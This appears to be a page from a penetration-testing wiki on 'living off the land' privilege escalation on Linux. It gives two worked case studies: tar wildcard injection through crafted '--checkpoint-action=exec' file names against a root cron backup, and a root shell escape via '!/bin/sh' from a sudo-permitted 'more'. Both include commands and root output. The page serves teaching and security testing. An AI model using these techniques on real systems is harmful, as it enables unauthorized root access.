Active Directory
Systems & services
🛠️ Physical
🛠️ Living off the land
Theory
Living of the Land is a well known privilege escalation technique, where an attacker will leverage binaries found on the attacked machine to perform a privilege escalation. Indeed, many UNIX programs have options that can be exploited to open a shell. Therefore if we can start the program we exploit as another user, we might be able to open a shell as this user !
Practice
Here are two case study to better understand the principle of these privilege escalations :
Case study 1 : Privesc using tar and a cronjob
Imagine a scenario where a script backups a directory (that we can control) on the server each hour using
tar like this :1
#!/bin/bash
2
3
mkdir -p /backups/
4
cd /var/www/html/ && tar cvzf /backups/backup_$(date +%Y_%m_%d_%Hh%M).tar.gz *
Copied!
Notice this interesting pattern
tar czvf file.tar.gz * in the script. This is a security vulnerability because of how UNIX shells handles wildcards. Let's see an example with the ls command :1
$ ls -lha
2
total 84K
3
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
4
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
5
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
6
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
7
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
8
$ ls *
9
file1 file2 file3
10
11
$ echo '' > '-lha'
12
$ ls -lha
13
total 88K
14
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
15
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
16
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
17
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
18
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
19
-rw-rw-r-- 1 user user 1 avril 27 22:32 -lha
20
$ ls *
21
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
22
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
23
-rw-rw-r-- 1 user user 0 avril 27 22:31 file3
Copied!
The shell wildcards are resolved by the shell, and not by the command. This means filenames can be treated as options if they are starting with a
-. In our previous example, we added a file called -lha into the folder. When we type ls *, the shell replaces the * by all matching files in the current directory, and therefore our command becomes ls file1 file2 file3 -lha. After the wildcard resolution, the shell executes the command with our options.Now if we get back to our script creating a backup of a directory each our with
tar *, we see that tar have legitimate options allowing execution of a program. You can find them here :To use these options in our exploit, we jut need to create these two files in our directory, as well as the
exploit.sh file, containing the command we want to run when we trigger the execution :1
echo '' > '--checkpoint=1'
2
echo '' > '--checkpoint-action=exec=sh exploit.sh'
3
4
$ ls -lha
5
total 88K
6
drwxrwxr-x 2 user user 4,0K avril 27 22:32 .
7
drwxrwxrwt 89 user user 76K avril 27 22:31 ..
8
-rw-rw-r-- 1 user user 0 avril 27 22:31 file1
9
-rw-rw-r-- 1 user user 0 avril 27 22:31 file2
10
-rw-rw-r-- 1 user user 1 avril 27 22:31 '--checkpoint=1'
11
-rw-rw-r-- 1 user user 1 avril 27 22:32 '--checkpoint-action=exec=sh exploit.sh'
12
-rwxrwxrwx 1 user user 784 avril 27 22:32 exploit.sh
Copied!
We are now ready ! We just need to wait until the directory is backup again, and it will trigger our payload and execute
exploit.sh file!Case study 2 : Privesc using more and sudo
Let's take an example, with this
sudo configuration :1
$ sudo -l
2
[sudo] password for user:
3
Matching Defaults entries for user on PC1:
4
env_reset, mail_badpass,
5
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6
7
User user may run the following commands on PC1:
8
(ALL : NOPASSWD) /usr/bin/more /var/log/apache2/access.log
Copied!
In this case
user can run the more command, but only to read a specific log file /var/log/apache2/access.log as root without password (NOPASSWD flag) : 1
sudo -u root /usr/bin/more /var/log/apache2/access.log
Copied!
You can assume this would be safe right ? Unfortunately, it's not. The
more command has various useful options, one of them is !. When you're in more and you type an exclamation mark followed by the path to a binary file, you can execute it in a subprocess. For example if you type !/bin/sh in more, you will open a shell as the owner of the parent more process !1
$ sudo -u root /usr/bin/more /var/log/apache2/access.log
2
File content line 1
3
File content line 2
4
...
5
File content line n
6
------------------------
7
!/bin/sh
8
#
9
uid=0(root) gid=0(root) groups=0(root)
10
#
Copied!
Last modified 5mo ago